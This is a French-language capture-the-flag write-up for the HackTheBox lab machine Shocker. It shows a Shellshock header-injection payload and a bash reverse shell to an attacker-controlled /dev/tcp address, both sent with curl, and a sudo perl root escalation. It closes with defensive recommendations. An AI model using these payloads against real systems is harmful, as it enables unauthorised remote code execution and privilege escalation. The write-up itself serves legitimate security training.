HackTheBox : Writeup de Shocker

Un walkthrough structuré et professionnel illustrant l'identification et l'exploitation manuelle de la faille critique Shellshock, suivie d'une élévation de privilèges locale via des droits sudo mal configurés sur une cible Linux.

Aperçu technique

• Système d'exploitation cible : Linux
• Adresse IP : 10.10.10.56
• Difficulté : Facile
• Vulnérabilités principales : Shellshock (CVE-2014-6271) et privilèges sudo mal configurés (/usr/bin/perl)
• Objectif : Obtenir un premier accès utilisateur via l'injection de variables d'environnement CGI et élever les privilèges jusqu'à root.

1. Énumération et reconnaissance

L'évaluation commence par un scan SYN TCP rapide sur tous les ports, ciblant uniquement les ports ouverts (--open) tout en contournant la découverte d'hôte (-Pn) et la résolution DNS (-n) pour accélérer la reconnaissance.

nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

Profilage ciblé des services et des vulnérabilités

Le premier balayage révèle deux services actifs. Nous effectuons un scan ciblé secondaire pour exécuter une détection de version agressive (-sCV) et une évaluation des vulnérabilités basée sur des scripts :

nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

Résultats du scan

• Port 80 : HTTP (Serveur Web Apache)
• Port 2222 : SSH (Port non standard)

2. Fuzzing de répertoires et énumération Web

En parallèle de nos scans de vulnérabilités, nous lançons un brute-force de répertoires Web avec gobuster pour cartographier les ressources cachées du serveur Apache. Nous utilisons une wordlist standard du framework SecLists :

gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

Constat crucial

Le processus de fuzzing identifie un répertoire /cgi-bin/ non indexé. Dans les déploiements Web historiques, les serveurs Apache utilisent l'interface CGI (Common Gateway Interface) pour exécuter des scripts côté serveur. Compte tenu du nom de la machine et de la présence de ce dossier, nous cherchons activement des scripts exécutables (par exemple .sh, .cgi) susceptibles de présenter des failles d'injection de variables d'environnement.

Une énumération plus poussée révèle un script nommé user.sh situé dans le répertoire /cgi-bin/.

3. Armement et premier accès

Test de Shellshock (PoC)

La vulnérabilité Shellshock (CVE-2014-6271) permet à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation en injectant des définitions de fonctions malveillantes dans les en-têtes de requêtes HTTP (comme User-Agent) traités par des instances Bash vulnérables.

Nous élaborons une commande curl personnalisée pour envoyer une charge utile Proof of Concept (PoC) conçue pour forcer le système distant à exécuter la commande /usr/bin/id :

curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

• Résultat : Le serveur Web répond avec la sortie de la commande id, validant une exécution de code à distance (RCE) non authentifiée.

Établissement d'un reverse shell

Pour transformer notre vecteur d'exécution en session interactive, nous mettons en place un listener Netcat local sur notre plateforme d'attaque :

nc -lvnp 4444

Ensuite, nous injectons une chaîne de reverse shell Bash native dans l'en-tête User-Agent malveillant pour forcer un rappel via TCP :

curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

Une fois l'exécution réussie, nous obtenons un shell stable à faibles privilèges :

$ whoami
shelly

4. Élévation de privilèges locale (LPE)

Avec un contexte utilisateur fonctionnel sur le système, nous auditions nos restrictions locales. Nous interrogeons la configuration sudo pour déterminer si l'utilisateur shelly est autorisé à exécuter des commandes avec des privilèges élevés sans fournir de mot de passe :

sudo -l

Audit de la configuration sudo

La sortie révèle l'entrée à haut risque suivante :

User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

Exploitation de Perl via GTFOBins

Étant donné que nous disposons d'un accès sans restriction ni authentification pour exécuter le binaire perl en tant que root, nous pouvons facilement contourner les restrictions du binaire. En croisant les données de GTFOBins, nous trouvons un wrapper d'exécution qui demande à Perl d'ouvrir un shell système natif (/bin/sh) en conservant le contexte d'identité d'exécution (root) :

sudo -u root perl -e 'exec "/bin/sh"'

Nous obtenons immédiatement un contexte d'exécution administratif complet :

# whoami
root

5. Post-exploitation et collecte des preuves

Maintenant que l'accès root est établi, nous nous rendons dans les répertoires personnels concernés pour récupérer les preuves de compromission.

# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt

Points clés et recommandations défensives

1. Corriger les logiciels intrinsèquement vulnérables : Shellshock est une vulnérabilité héritée et catastrophique de GNU Bash. Assurez-vous que tous les composants serveurs reçoivent des correctifs de sécurité proactifs pour les utilitaires fondamentaux.
2. Sécuriser l'environnement CGI : Si des scripts CGI doivent être conservés, assurez-vous qu'ils s'exécutent dans des modèles d'exécution isolés et sandboxés (par exemple, à l'aide d'exécutants de conteneurs spécialisés ou d'environnements chroot) et évitez d'utiliser des shells par défaut obsolètes et vulnérables.
3. Appliquer strictement le principe du moindre privilège : Accorder aux utilisateurs standards un accès sans restriction à des interpréteurs intégrés puissants comme perl, python ou bash via sudo introduit des vecteurs d'élévation de privilèges immédiats. L'accès sudo doit être limité à des scripts administratifs non interactifs et hautement contrôlés.